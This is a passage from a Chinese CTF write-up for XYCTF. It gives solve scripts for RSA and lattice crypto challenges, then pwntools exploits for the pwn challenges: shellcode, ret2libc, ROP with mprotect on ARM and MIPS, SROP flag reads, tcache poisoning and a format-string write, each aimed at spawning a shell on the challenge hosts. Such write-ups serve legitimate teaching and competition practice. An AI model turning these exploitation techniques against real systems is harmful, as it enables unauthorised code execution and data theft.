##    print(complex_pow(a2, 3, p) == c)
print(l)

然后用得到的根和随便写的 crt 求解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 接exp1.py
comp = complex_pow(encp, pow(e//3, -1, (p**2-1)//3), p) # 上面 mode = 'p' 的 c
comq = complex_pow(encq, pow(e//3, -1, (q**2-1)//3), q) # 上面 mode = 'q' 的 c
m1 = [Complex(541188704188079589696975129595232907618336472449302715451101512615336798606191093807452278721326418083969279016584498160468079290503842589663811709060371, 5741279734159523094711430662094390392066954482529914882030709450295074947781529110509321968864008611691202383770840412010325910906148313511187473860891035),
      Complex(1662435559780994004386842122204566836802794060667449753807174598739830437128828179292947062605594949711892539092095892832053999186054026591407366803020136,4429927739780647098163182245695850111737474361073472216489514077452142827783532166774438977867801037416377640995299677179237078298139871084989841206362410),
      Complex(8001885192071749859699066040025029961395167917875583646644249565155819105797467000967544636712092306411149367493633723366623965498649673837196063800580404,34301982100653260908270384034589202011869607388949017382302148763768565967424996784183031307204025099431160836174025169583054770919358422089927245407466)]
m2 = [Complex(1217221620337618917243787804704498765774078541871944235501766658464684396657530547334482771121693798142550712746858805371783011221995724541464038836673061,8586549363626610854952590733794044071899545915261216635206863621255915665043556027382073545902963458915586846862230166123268280750109862724278599667847493),
      Complex(6857325280540966155209571629622673516628729233046153216919246004917826296064185951208599616644606134509118662339264343895819605897243323286865301166906602,5276901669007862459606429311418416791067007412160397323233728060764482838272522831695179159225558247215591099096136610833622276098301992005638773878483349),
      Complex(8503432605028099223082740882529347146997316989367545950492333769305549393260049047195629451308480848275471020811688622917531588079409913760096873405190234,4073305908343434001432234700505703739500538013701467077531217640906529193773037971902079461771703238283853345951042314327641038705737553746426200870882295),
      Complex(4121694029664041978927797165221546618939268589175297893513650941901521328887423207726634825943843128912526687991267349501555811582062174969259522939168771,2532203573284115839943680788607708204602770120790189755204953987476111829919496668633934893315585793821873529667573847786200205063152150526940602177115763),
      Complex(6192229064658828721072838954681858729975625467636197870361944867014338842334277705562409203724381687673713439770131476110414702628279278489497356226657489,412391777749762922348152402206151838186656562632033608965544858648517072916178764607518361571369361991330463978453617074285039619075164749001716157536065),
      Complex(7838336389145961788946008207588532360344213223957590603935032631402061939530140801549439038388256401440065798242555755132126684810445868962728928464941121,10739940731745824081418381715901342901309159762856543362640396906171107996295925365437945464907432967788383551341616951552057327658847904490010061152434332),
      Complex(8366627759634051290333268012004602352405002740363136177900446298441200900164136168489014946546974693508397220434695162939560760156985163750847606373150919,7045447028567292693464036821896048537001778022349939312880599967825498301190014724113928977446846014453607030578761699581827447107524459504793000974080961),
      Complex(2475586705176908911054627912314872988570680832853905159940563177513798231691560111739604991279968415146174329518843070479843829399895584496027950700885139,3735799333948544298117875399520421256169239519249120000907464407334065474418981528427034590769440802753611282812668144292181442455716588786153175184716817),
      Complex(552125404455481483107055129763683979120974776461988888944465520561196942927622301688292358201469351307145490177725937586378107953031679744096093896423948,3722039472368511317694313824581779119019195065732852920938680419139949899687211960294412748248774573691326211744547172363931044270883035467641541946900209),]
def crt(remain, moduli):
    result = Complex(0, 0)
    for i in range(len(moduli)):
        M = 1
        for j in range(len(moduli)):
            if i != j:
                M *= moduli[j]
        M *= pow(M % moduli[i], -1, moduli[i])
        result = result + remain[i] * M
    result %= math.prod(moduli)
    return result

for i in m1:
    for j in m2:
        com = crt([i, j], [p, q])

        m = com.re ^ com.im
        print(long_to_bytes(m))

得到 flag


2.8 factor3

1
2
3
4
R=2^int(N.nbits()*1.5)
L= Matrix([[R,e],[O,N ^ 2]]).LLL()
d= abs(L[0][0]// R)
print(long_to_bytes(d^2 ^^ c))

2.9 密码签到_复仇

这题目刚上线时我还愣了一下

怎么长得跟签到一模一样(也许

总之就是用密码签到题的那个脚本把这道题的数列扔进去就出结果了

然后这道题目就下线打复活赛去了

打赢复活赛后变成了容器题

但我寻思

还是用密码签到题的那个脚本把这道题的数列扔进去就出结果了

所以

究竟

这复仇

复了个啥(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Util.number import *
def swap_bits(input_str):
    input_list = list(input_str[2:])
    length = len(input_list)

    for i in range(length // 2):
        temp = input_list[i]
        input_list[i] = input_list[length - 1 - i]
        input_list[length - 1 - i] = temp

    return ''.join(input_list)
    
c = #填这道题给的数据就行

c_str = str(c)
state = 0
lis = ''
for i in range(len(str(c)) - 1):

    if (int(c_str[i]) + 2) % 10 == int(c_str[i + 1]) % 10:
        state = 1
    if int(c_str[i]) % 10 == int(c_str[i + 1]) % 10:
        state = 0
    if (int(c_str[i]) + 1) % 10 == int(c_str[i + 1]) % 10:
        pass
    lis += str(state)

lis_1 = "0b" + lis + "1"

c1 = swap_bits(lis_1)

flag1 = int(c1, 2)

print(long_to_bytes(flag1))

2.10 反方向的密码 相思

题目如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import libnum
from Crypto.Util.number import *
import hashlib
from gmpy2 import *

# from secrets import flag
flag = b'XYCTF{uuid}'


def hash(x):
    return hashlib.sha256(x.encode()).digest()


def pad(message):
    return message + hash(str(len(message)))


m = bytes_to_long(pad(flag))
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q
e = 3
print(pow(m, e, n))
print(n)

一开始看见 e = 3 以为是低加密指数攻击,结果 k 爆到十位数都没有结果。

再回头看看这个 pad 函数

1
2
def pad(message):
    return message + hash(str(len(message)))

很显然,后面的哈希值长度为 32(256 位),并且可以通过循环遍历爆破。可以视为是已知明文。

那么就很容易(容易吗)想到 coppersmith 已知高位明文攻击,只不过这里换成了已知低位明文而已

也就是说通过爆破 flag 长度就可以实现攻击。

生成 flag 长度对应的哈希值列表

1
2
3
4
5
lis = []
for i in range(7, 99):
    print(i)
    lis.append(bytes_to_long(hash(str(i))))
print(lis)

一开始构造的多项式是 r = x + low_m,然而发现爆不出来

然后又(不太容易地)想到已知明文中还有 flag 头尾“XYCTF{”和”}“

那么就可以进一步缩小 x 了。

1
2
flagHead = bytes_to_long(b'XYCTF{')
flagTail = bytes_to_long(b'}')

sage 实现的相关攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#sage
n = 
c = 
flagHead = 97140404930171
flagTail = 125

R.<x> = PolynomialRing(Zmod(n))
for length in range(7, 98): 
    m = flagHead * 2 ** (256 + (length - 6) * 8) + x * 2 ** (256 + 8) + flagTail * 2 ** 256 + low_m_lis[length - 7]
    r = m ** 3 - c
    r = r.monic()
    M = r.small_roots(X = 2 ** ((length - 7)  * 8))
    print("当前爆破长度" + str(length))
    if M != []:
        print(M)
        break

输出如下

然后

1
2
res = 58964190787951927773278389967057377362495121527440001979648729026891046689
print("XYCTF{" + str(long_to_bytes(res)) + "}")

就行了


2.11 happy_to_solve2

p 和 q 的取值太散了,刚开始的时候本来想通过取值范围减小爆破复杂度,结果算着算着发现好像是个遍历节点的问题,就想到了 dfs 算法,于是爆出来了,事后发现代码有很多漏洞,只能说是运气好吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import random
from Crypto.Util.number import *

n = 697906506747097082736076931509594586899561519277373830451275402914416296858960649459482027106166486723487162428522597262774248272216088755005277069446993003521270487750989061229071167729138628583207229945902389632065500739730301375338674342457656803764567184544685006193130563116558641331897204457729877920989968662546183628637193220770495938729301979912328865798266631957128761871326655572836258178871966196973138373358029531478246243442559418904559585334351259080578222274926069834941166567112522869638854253933559832822899069320370733424453856240903784235604251466010104012061821038897933884352804297256364409157501116832788696434711523621632436970698827611375698724661553712549209133526623456888111161142213830821361143023186927163314212097199831985368310770663850851571934739809387798422381702174820982531508641022827776262236373967579266271031713520262606203067411268482553539580686495739014567368858613520107678565628269250835478345171330669316220473129104495659093134763261751546990704365966783697780787341963138501
c = 153383826085102296581238539677668696644156148059026868813759015106139131297135097831661048493079405226972222492151356105759235749502324303047037349410709021152255315429280760639113724345836532087970918453353723090554450581657930847674930226113840172368662838756446364482977092478979838209396761279326533419699056209983721842484996150025403009644653678928025861445324715419893797015875541525590135843027312322236085581571452084477262582966972702577136904385741443870527205640874446616413917231260133364227248928492574610248881137364204914001412269740461851747883355414968499272944590071623223603501698004227753335552646715567802825755799597955409228004284739743749531270833084850113574712041224896044525292591264637452797151098802604186311724597450780520140413704697374209653369969451501627583467893160412780732575085846467289134920886789952338174193202234175299652687560232593212131693456966318670843605238958724126368185289703563591477049105538528244632434869965333722691837462591128379816582723367039674028619947057144546

def is_true(a, b, mode): #判断这个节点是活路还是死路
    if len(b) - len(a) >= 2:
        return True
    if len(b) - len(a) == 1:
        big = max([int(i) for i in mode])
        small = min([int(i) for i in mode])
        if int(b) >= int(small*len(b)):
            return True
        if int(a) <= int(big*len(a)):
            return True
        return False
    big = max([int(i) for i in mode])
    small = min([int(i) for i in mode])
    if len(a) == 1:
        return (small <= int(b) and big >= int(a))
    if a[0] != b[0]:
        if not is_true(a[0], b[0], mode):
            return False
        if int(b[0]) == small and int(b) >= int(small * len(b)):
            return True
        if int(a[0]) == big and int(a) <= int(big * len(a)):
            return True
        for i in range(len(a)-1):
            if int(b[i]) - int(a[i]) >= 2:
                return True
            if not is_true(a[0:i+1], b[0:i+1], mode):
                return False
        return True
    for i in range(1,len(a)):
        if a[i] != b[i]:
            break
        if a[i] not in mode:
            return False
    return is_true(a[i:], b[i:], mode)

def calc(p): #根据前面的节点计算下一个可能的节点的值
    res = ''
    for i in ['1', '2', '3']: # 先依次假设p前面的位
        q_ = ''
        p_ = p
        p_ += i
        q1 = str(n // int(p_.ljust(512,'3'))) # 当p前面的位是确定的时候,xxx333333...就是最大值,q1就是q的最小值
        q2 = str(n // int(p_.ljust(512,'1'))) # xxx111111...就是最小值,q2就是q的最大值
        if len(q1) != len(q2):
            break
        for j in range(len(q1)):
            if q1[j] != q2[j]:
                break
            if q1[j] not in ['5','6','7']:
                break
            q_ += q1[j]
        if is_true(q1, q2, ['5','6','7']): #判断区间(q1, q2)内是否存在满足题目条件的q
            res += i # 若存在,那么这个i就是可以走的节点
    return list(res)

state = [[] for _ in range(512)] #记录走过的节点都有哪些岔路口
p = '' #初始值
k = 0
while len(p) < 512:
    res = calc(p)
    state[len(p)] = res
    while len(state[len(p)]) == 0: #发现走不通就倒退
        p = p[0:-1] # 倒退
        state[len(p)].pop(0) # 删掉第一个岔路口,那么第二个岔路口就变成了新的第一个岔路口(
    p += state[len(p)][0] # 默认走第一个岔路口

# p = 12121111312111223223122131311333233122132311113333112131132223222322113121112211311111122233111221112223111221331112322222333332331231122322123321123123133323213331321113332333332231113221231213322231322132311333132111221123111323112322131123322323331121233332123131222321123312221122323311122131121132332322222321213223131211322122311113331331222212121313131121212322112122212323321311231113213233312223111132133321123211122222213321223332322123131333322121223233122311222211311133331123122122331232313131221113
# q = 57577765666565565655657656576766776756666756575575655557577765666657666756565556567577677665557556655765767767655556677756576555657667566766667676566655656776775755756775755667657675665677575667656666776656677656575665766556767757667556655755567556776556675656666757767667757657665757566667776555777667667675756767666767666557555757566576666656676677575575577567765566577557756566766557765676756756557667655756575677676567766776665777656776577676577576757576665777555555575575656555655657776566765775556575765677
# 下面是rsa
p = int(p)
q = n // p

phi = (p - 1) * (q - 1)
d = pow(65537, -1 ,phi)
print(long_to_bytes(pow(c, d, n)))

2.12 x0r

aes-ofb,iv 已给,直接反求 key_block

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

p = remote('localhost',53739)
print(p.recv().decode())
p.sendline(b'1')
iv = p.recv(32)
ct = p.recv(96)
p.sendline(b'2')
print(p.recv().decode())
p.sendline(iv)
p.sendline(b'0' * 96)
print(p.recvuntil(b'age: ').decode())
kb = p.recv(96)

ct = bytes.fromhex(ct.decode())
kb = bytes.fromhex(kb.decode())
pt = bytes([ct[i] ^ kb[i] for i in range(len(ct))])
print(pt)

2.13 重生之我要当 oi 爷 pro

求解方法:[多项式多点求值 快速插值](https://oi-wiki.org/math/poly/multipoint-eval-interpolation/)

下面代码就是实现了上面的步骤,只不过拓展到了在模 p 的情况下也适用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import math
import cupy as cp
p = 1041231053
n = 1214960

d = -1 * math.factorial(n-1)
M_ = [d % p]
for i in range(1, n):
    M_.append(M_[-1] * pow(n - i, -1, p) * (-i) % p)

with open('enc.txt') as f:
    y = f.read()
y = y.split('\n')
y = [int(i.split()[1]) for i in y]

v = [y[i] * pow(M_[i], -1, p) % p for i in range(n)]

def conv(a, b):
    l_a = len(a)
    l_b = len(b)
    l = l_a + l_b - 1
    res = cp.zeros(l, dtype=cp.int64)
    for i in range(l_b):
        a_ = a * b[i] % p
        res[i:i+l_a] += a_
        res %= p
    return res

def calc(vi, xi):
    global times
    n = len(vi)
    if n == 1:
        f = cp.array([vi[0]],dtype=cp.int64)
        M = cp.array([1, -xi[0]],dtype=cp.int64)
        return f, M
    half_n = n // 2
    f0, M0 = calc(vi[0:half_n], xi[0:half_n])
    f1, M1 = calc(vi[half_n:], xi[half_n:])
    f = (conv(f0, M1) + conv(f1, M0)) % p
    M = conv(M0, M1) % p
        print(times)
    return f, M
x = list(range(n))
f = calc(v, x)
f = f[0].tolist()

f.reverse()
with open('flag.png', 'wb') as f2:
    f2.write(bytes(f))

3. Pwn

3.1 invisible_flag

禁用了 execve 和常规的 orw,考虑用 openat 和 sendfile 写 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
r = remote('xyctf.top', 35854)
# r = process('./vuln')

sc = '''    
    mov rax, 0x67616c662f2e
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    xor edx, edx
    xor r10, r10
    push SYS_openat
    pop rax
    syscall

    mov rdi, 1
    mov rsi, 3
    push 0
    mov rdx, rsp
    mov r10, 0x100
    push SYS_sendfile
    pop rax
    syscall
'''

payload = asm(sc)
r.sendline(payload)
r.interactive()

3.2 hello_world

简简单单 ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = 'debug'

r = remote('xyctf.top', 35594)
# r = process('./vuln')
libc = ELF('./libc.so.6')

rdi_addr = 0x2a3e5
# gdb.attach(r, 'b *printf')

r.sendline(b'a'*38+b'b')
r.recvuntil(b'b\n')
leak_addr = u64(r.recvuntil(b'\nplea', drop=True).ljust(8, b'\x00'))
libc_base = leak_addr-0x29d90
log.success(hex(libc_base))

one = [0xebc88, 0xebc81, 0xebd43, 0xebc85, 0xebce2, 0xebd38, 0xebd3f]

# pause()
r.send(b'a'*32+p64(1)+p64(libc_base+0x29139)+p64(libc_base+rdi_addr) +
       p64(libc_base+0x1d8678)+p64(libc_base+libc.sym['system']))

r.interactive()

静态编译 pwn,没有 system,也没有 flag 这个字符串,所以没法 orw,所以打算利用 mprotect 创造可执行内存然后写 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
r = remote('xyctf.top', 59270   )
# r = process('./vuln')

mprotect_addr = 0x4482C0
read_addr = 0x447580
bss_addr = 0x4C7000

rdi_addr = 0x401f1f
rsi_addr = 0x409f8e
rdx_addr = 0x451322

payload = b'a'*0x28
payload += p64(rdi_addr)+p64(bss_addr)+p64(rsi_addr) + \
    p64(0x1000)+p64(rdx_addr)+p64(7)+p64(mprotect_addr)
payload += p64(rdi_addr)+p64(0)+p64(rsi_addr)+p64(bss_addr +
                                                  0x300)+p64(rdx_addr)+p64(0x100)+p64(read_addr)
payload += p64(bss_addr+0x300)
# print((len(payload)))

shellcode = asm(shellcraft.sh())

r.sendline(payload)
r.sendline(shellcode)
r.interactive()

3.4 guestbook1

题目有后门,对索引检查严格,除了 <=32 的地方可以越界一个单位除外。这导致 rbp 的一个字节可以被改变。通过修改 rbp 可以劫持栈到相应的 ret 地址前面。题目后门地址在 0x40133A。

观察栈可以发现,在 43 偏移处有个 main 函数地址,可以通过修改 id 的方式修改其最后一个字节为后门地址,然后只要把 rbp 修改到偏移 42 处即可。最后 index=-1 退出 guestbook 函数就能 getshell 了。但是因为没有栈地址,所以要 1/16 几率爆破。

其实就算没有那个 main 函数也无所谓,通过 name 数组可以直接修改任意一个数据单元,然后劫持 rbp 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
r = remote('xyctf.top', 33063)
# r = process('./pwn')

r.recvuntil(b'index\n')
r.sendline(b'8')
r.recvuntil(b'name:\n')
r.sendline(b'a')
r.recvuntil(b'id:\n')
r.sendline(b'58')

r.recvuntil(b'index\n')
r.sendline(b'32')
r.recvuntil(b'name:\n')
r.sendline(b'a')
r.recvuntil(b'id:\n')
r.sendline(b'176')

r.recvuntil(b'index\n')
r.sendline(b'-1')

r.interactive()

3.5 babygift

主函数溢出 32 字节完之后就会执行 gift 函数。其实主要就是想告诉你 rdi 现在是受控的。

附件给了 libc,这个程序没有太多 gadget,所以只能是 ret2libc。现在问题是怎么泄露 libc 地址。gift 会将 rdi 指向主函数中的 v2 变量,并且主函数可以溢出劫持 ret,用 fmt 来泄露?只有 printf 函数能用来泄露信息。

偏移 27,可以泄露到__libc_start_main_ret 的地址。

用 libc 的 system 函数直接打会出现栈平衡问题(movaps),但是加了 ret 也没用,叕卡住了。

加了 ret 的情况如上,因为溢出长度不够

发现栈平衡问题是在 do_system 函数里发生的,system 的栈 rsp 是对齐的,但是 do_system 则不然。所以想到直接在 libc 里找 do_system 函数执行。扔 ida,根据 libc 里 system 跳转到 0x50900 合理推测那里就是 do_system。偏移是 0x50900,但这里只能直接从 0x50902 开始,因为 dosystem 第一个语句是 push r15,少了这个 push 就可以栈对齐了。

关于 system 卡线程的问题好像有很多东西值得探究。虽然做题的时候很少见会卡住

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
# r = process('./vuln')
r = remote('xyctf.top', 34099)
libc = ELF('./libc.so.6')
context.log_level = 'debug'

ret = 0x40101a
printf_plt = 0x401084
printf_got = 0x403FD8
main_addr = 0x4012AF
gift = 0x401219
call_printf = 0x401202
start_addr = 0x4010B0

r.sendlineafter(b'name', b'a'*0x10)
# gdb.attach(r, 'b *printf')
# pause()
payload = b'%27$p'
payload = payload.ljust(0x20, b'\x00')
payload += p64(0)+p64(call_printf)+p64(printf_plt)+p64(start_addr)
r.sendlineafter(b'passwd', payload)

r.recvuntil(b'0x')
leak_add = int(r.recv(12), 16)
libc_base = leak_add-libc.symbols['__libc_start_main']-128
system = libc_base+libc.symbols['system'] # 不通
log.success(hex(libc.symbols['system']))
str_bin_sh = libc_base+next(libc.search(b'/bin/sh'))
rdi_ret = libc_base+0x2a3e5
do_system_addr = libc_base+0x50902
log.info('libcbase '+hex(libc_base))
# gdb.attach(r, 'b *system')
# pause()
# name直接跳了,应该是缓冲区里还有回车
payload = b'a'*(0x28)+p64(rdi_ret)+p64(str_bin_sh)+p64(do_system_addr)
r.sendlineafter(b'passwd', payload)
r.interactive()

3.6 EZ2.0

arm 有 nx 保护,栈迁移到 bss,开辟可执行内存后写 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(arch='arm', os='linux', log_level='debug')
# r = process(['qemu-arm-static', './arm'])
r = remote('172.21.78.37', 58744)
e = ELF('./arm')

r.recv()
sc = asm('''
    add r0, pc, #12
    mov r1, #0
    mov r2, #0
    mov r7, #11
    svc 0
    .ascii "/bin/sh\\0"
''')

pop_r0_4_lr = 0x521BC
pop_r7_pc = 0x00027d78
pop_r0_pc = 0x5f73c
mprotect_addr = 0x28F10
read_addr = 0x10588

payload = b'a'*0x40+p32(e.bss()+0x44)+p32(pop_r0_pc)+p32(mprotect_addr)+p32(pop_r0_4_lr)+p32(e.bss()) + \
    p32(0x1000)+p32(7)+p32(0)+p32(0)+p32(read_addr)
r.sendline(payload)

payload = sc.ljust(0x44, b'\x00') + p32(e.bss())
r.sendline(payload)
r.interactive()

3.7 EZ1.0

mips 没有 nx 功能,直接栈迁移到 bss 段写 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(arch='mips', os='linux', log_level='debug')
# r = process(['qemu-mipsel-static', './mips'])

r = remote('172.21.78.37', 54539)
e = ELF('./mips')

r.recv()
sc = asm('''
    lui $t6,0x2f62
    ori $t6,$t6,0x696e
    sw $t6,28($sp)     
    lui $t7,0x2f2f
    ori $t7,$t7,0x7368
    sw $t7,32($sp)                    
    sw $zero,36($sp)                 
    la $a0,28($sp)                     
    addiu $a1,$zero,0
    addiu $a2,$zero,0
    addiu $v0,$zero,4011     
    syscall 0x40404
         ''')

print(len(sc))

mprotect_addr = 0x41DC0C
read_addr = 0x400860

payload = b'a'*64+p32(e.bss()+0x200-0x60+68)+p32(read_addr)
r.send(payload)

payload = b'a'*68+p32(e.bss()+0x200+68)+asm(shellcraft.sh())
r.send(payload)
r.interactive()

3.8 intermittent

程序只能写入 12 个字节的 shellcode,并且中间会穿插很多\x00。直接写 sh 不够,所以要写 read 函数进去然后再写一次 sh 的 shellcode。rdi 刚好是 0,rdx 指向执行的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
r = remote('172.21.78.37', 63069)
context(log_level='debug', arch='amd64')
# p = process('./vuln')

shellcode = asm(shellcraft.sh())
sc = asm('''
    push rdx
    pop rsi
    syscall
''')

print(len(sc))
# gdb.attach(p, "b *$rebase(0x1353)")
r.sendline(sc)
r.sendline(b'a'*0x4+shellcode)

r.interactive()

3.9 SROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64')
#p = remote('nepctf.1cepeak.cn',32646)
p=process('./pwn')
elf=ELF('./pwn')


bss=elf.bss()+0x100
leave_ret=0x4012d4
sret=0x401296
syscall_ret=0x40129D 
gdb.attach(p,"b *0x4012b9")
frame = SigreturnFrame()
frame.rax = 0x0
frame.rdi = 0x0
frame.rsi = bss
frame.rdx = 0x400
frame.rip = syscall_ret
frame.rsp = 0x404168
frame.rbp = 0x404168
bss_flag=bss


payload=b'a'*0x28+p64(sret)+bytes(frame)
payload=payload.ljust(0x1ff,b'\x00')
p.sendline(payload)
sleep(0.2)


############# open ##############
frame1 = SigreturnFrame()
frame1.rax = 0x2
frame1.rdi = bss_flag
frame1.rdx = 0x0
frame1.rcx = 0x0
frame1.rsi = 0x0
frame1.rip = syscall_ret
frame1.rsp = 0x404268
frame1.rbp =        0x404268


########## read ################
frame2 = SigreturnFrame()
frame2.rax = 0x0
frame2.rdi = 0x3
frame2.rdx = 0x100
frame2.rsi = bss+0x500
frame2.rip = syscall_ret
frame2.rsp = 0x404368
frame2.rbp = 0x404368


######### write #################
frame3 = SigreturnFrame()
frame3.rax = 0x1
frame3.rdi = 0x1
frame3.rsi =bss+0x500
frame3.rdx = 0x100
frame3.rip = syscall_ret
frame3.rsp = 0xdeadbeef
frame3.rbp = 0xdeadbeef

payload1=b'flag\x00\x00\x00\x00'+p64(sret)+bytes(frame1)+p64(sret)+bytes(frame2)+p64(sret)+bytes(frame3)
sleep(0.2)
p.sendline(payload1)

p.interactive()


"""
############# read_flag ##############
frame0 = SigreturnFrame()
frame0.rax = 0x0
frame0.rdi = 0x0
frame0.rdx = bss_flag
frame0.rcx = 0x8
frame0.rsi = 0x0
frame0.rip = ret_sys_addr
frame0.rsp = 0x601c00
frame0.rbp = 0x601c00

"""

量子脚本,时不时泄露不出来


3.10 ptmalloc2 it’s myheap

漏洞 UAF,堆风水控制 free 的指针

劫持 tcache_管理 chunk 打栈

因为栈不规则增长的关系,1/16 概率通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
context(log_level='debug',arch='amd64')
#p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
ld=ELF("./ld-linux-x86-64.so.2")
p=remote("localhost",42185)

bss_flag=0x4040E0

def cmd(cho):
        p.sendlineafter('>>> ',str(cho))

def add(i,size,content):
        cmd(1)
        p.sendlineafter('[?] please input chunk_idx: ',str(i))
        p.sendlineafter('[?] Enter chunk size: ',str(size))
        p.sendafter('[?] Enter chunk data: ',content)
        
def show(idx):
        cmd(3)
        p.sendlineafter('[?] Enter chunk id: ',str(idx))
        
        
def delete(idx):
        cmd(2)
        p.sendlineafter("[?] Enter chunk id: ",str(idx))

def gift():
        cmd(114514)

def exit():
        cmd(4)
        
def de_heap(this,new_next):
    base=0
    new_next=new_next^this
    base=this<<12

def en_heap(this,old_next):
    result=0
    this=this >> 12
    result=this^old_next
    return result
    

def calc_heap(addr):
    s = hex(addr)[2:]
    s = [int(x, base=16) for x in s]
    res = s.copy()
    for i in range(9):
        res[3+i] ^= res[i]
    res = "".join([hex(x)[2:] for x in res])
    return int16_ex(res)


gift()
p.recvuntil("gift: 0x")
puts_addr=int(p.recv(12)[-12:].rjust(16,b'0'),16)
print("puts_addr",hex(puts_addr))
libcbase=puts_addr-        0x080e50
environ=0x222200+libcbase
system=libcbase+0x050d70
bin_sh=libcbase+0x1d8678
pop_rdi=libcbase+0x2a3e5

add(0,0x20,b'xswlhhh\x00')
add(1,0x20,b'xswlhhh\x00')
add(2,0x50,b'protect\x00')
delete(1)
delete(0)
#0->1
add(3,0x18,p64(0x31)*2) #0->1
show(3)
p.recvuntil(p64(0x31)*2)
heapaddr=u64(p.recv(6)[-6:].ljust(8,b'\x00'))
heapbase=heapaddr-0x310
print("heapaddr=",hex(heapaddr))
delete(3)
add(0,0x20,b'xswlhhh\x00')
add(1,0x20,b'xswlhhh\x00')

delete(1)
delete(0)
base=heapbase & 0xffff
base=base+0x10
add(3,0x18,p64(0x1)*2+p16(base)) 
delete(1)
payload=b'\x00\x00\x01'
payload=payload.ljust(0x80,b'\x00')
payload+=p64(0)+p64(environ)
add(1,0x280,payload)
add(4,0x20,b'\x20')
show(4)

stack=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
rsp=stack-(0xcd20-0xcc38)
print("stack",hex(stack))
delete(1) 
payload=b'\x00\x00\x00\x00\x01'
payload=payload.ljust(0x80,b'\x00')
payload+=p64(0)*2+p64(rsp-0x8)
print("rsp:",hex(rsp))
add(1,0x280,payload)
#gdb.attach(p,"b *0x4014aa")
print("rsp:",hex(rsp))
ret=0x401750
add(5,0x30,p64(0xdeadbeef)+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system))
print("rsp:",hex(rsp))
#(0x7f5933bfaf68-0x7f5933be3150)

p.interactive()

3.11 fmt

scanf 的格式化漏洞,其实任意写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(log_level='debug',arch='amd64')
#p=process('./pwn')
p=remote("localhost",37601)

backdoor=0x4012be
p.recvuntil("gift: 0x")
gift=int(p.recv(12)[-12:].rjust(16,b'0'),16)
print("gift:",hex(gift))
#gdb.attach(p)

payload=b'%8$s'
payload=payload.ljust(8,b'\x00')
lock=gift+0x1c12a8
payload+=p64(lock)*3
p.send(payload)
p.sendline(p64(backdoor))
#payload=b'%8$s'+b'\x00'*4+p64(gift)*3
#0x1c12a8

p.interactive()

3.12 fastfastfast

Fast consolidate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
context(log_level='debug',arch='amd64')
p=process('./pwn')
elf=ELF('./pwn')
p=remote("localhost",45689)

def cmd(c):
    p.recvuntil('>>> ')
    p.sendline(str(c))
   
def add(idx,content):
    cmd(1)
    p.sendlineafter('please input note idx',str(idx))
    p.sendafter('please input content',content)
    
def show(idx):
    cmd(3)
    p.sendlineafter('please input note idx',str(idx))

    
def free(idx):
    cmd(2)
    p.sendlineafter('please input note idx',str(idx))

#gdb.attach(p)
for i in range(0,12):
        add(i,b'/bin/sh\x00')
for i in range(0,9):
        free(i)
cmd(1)
p.sendline(b"1"*0x500)
cmd(3)
p.recvuntil("please input note idx\n")

p.sendline(str(7))
